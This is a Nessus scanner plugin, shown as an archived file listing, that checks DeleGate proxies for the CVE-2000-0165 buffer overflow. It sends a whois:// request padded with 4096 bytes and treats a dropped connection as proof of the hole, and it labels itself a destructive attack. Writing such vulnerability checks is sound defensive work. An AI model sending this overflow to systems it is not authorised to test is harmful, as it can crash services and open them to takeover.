home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / modules / nessus-2.2.8.mo / usr / lib / nessus / plugins / delegate_overflow.nasl < prev    next >
Text File  |  2005-01-14  |  3KB  |  107 lines

  1. #
  2. # This script was written by Renaud Deraison <deraison@cvs.nessus.org>
  3. #
  4. #
  5. # See the Nessus Scripts License for details
  6. #
  7.  
  8. if(description)
  9. {
  10.  script_id(10054);
  11.  script_bugtraq_id(808);
  12.  script_version ("$Revision: 1.12 $");
  13.  script_cve_id("CVE-2000-0165");
  14.  name["english"] = "Delegate overflow";
  15.  name["francais"] = "DΘpassement de buffer dans DeleGate";
  16.  script_name(english:name["english"],
  17.           francais:name["francais"]);
  18.  
  19.  desc["english"] = "
  20. The remote proxy is vulnerable to a buffer overflow
  21. when it is issued the command :
  22.  
  23.     whois://a b 1 AAAA..AAAAA
  24.     
  25. This problem may allow an attacker to gain a shell
  26. on this computer.
  27.  
  28. Solution : inform your vendor of this vulnerability and ask
  29.        for a patch or change your proxy
  30.        
  31. Risk factor : High";
  32.  
  33.  desc["francais"] = "
  34. Le proxy distant est vulnΘrable α un dΘpassement de buffer
  35. lorsqu'il recoit la commande :
  36.  
  37.     whois://a b 1 AAAA...AAAA
  38.     
  39. Ce problΦme risque de permettre α un pirate d'obtenir
  40. un shell sur ce systΦme.
  41.  
  42. Solution : Informez votre vendeur et demandez un patch, ou
  43.        changez de proxy
  44.        
  45. Facteur de risque : ElevΘ.";
  46.  
  47.  
  48.  script_description(english:desc["english"],
  49.              francais:desc["francais"]);
  50.  
  51.  summary["english"] = "Determines if we can use overflow the remote web proxy"; 
  52.  summary["francais"] = "Determine si nous pouvons faire un buffer overflow sur le proxy web distant";
  53.  script_summary(english:summary["english"],
  54.          francais:summary["francais"]);
  55.  
  56.  script_category(ACT_DESTRUCTIVE_ATTACK);
  57.  
  58.  script_copyright(english:"This script is Copyright (C) 1999 Renaud Deraison",
  59.            francais:"Ce script est Copyright (C) 1999 Renaud Deraison");
  60.  
  61.  family["english"] = "Gain root remotely"; 
  62.  family["francais"] = "Passer root α distance";
  63.  
  64.  script_family(english:family["english"],
  65.             francais:family["francais"]);
  66.  script_dependencie("find_service.nes");
  67.  script_require_ports("Services/http_proxy", 8080);
  68.  exit(0);
  69. }
  70.  
  71. #
  72. # The script code starts here
  73. #
  74.  
  75. port = get_kb_item("Services/http_proxy");
  76. if(!port) port = 8080;
  77.  
  78. if(get_port_state(port))
  79.  {
  80.   soc = open_sock_tcp(port);
  81.   if(soc)
  82.   {
  83.   #
  84.   # Try a harmless request. If the connection is shut, it
  85.   # means that the remote service does not accept to forward whois 
  86.   # queries so we exit
  87.   #
  88.   
  89.   command = string("whois://a b 1 aa\r\n\r\n");
  90.   send(socket:soc, data:command);
  91.   buffer = recv_line(socket:soc, length:4096);
  92.   close(soc);
  93.   if(!buffer)exit(0);
  94.   
  95.   soc2 = open_sock_tcp(port);
  96.   if(soc2)
  97.   {
  98.    command = string("whois://a b 1 ", crap(4096), "\r\n\r\n");
  99.    send(socket:soc2, data:command);
  100.    buffer2 = recv_line(socket:soc2, length:4096);
  101.    if(!buffer2)security_hole(port); 
  102.    close(soc2);
  103.   }
  104.  }
  105. }
  106.  
  107.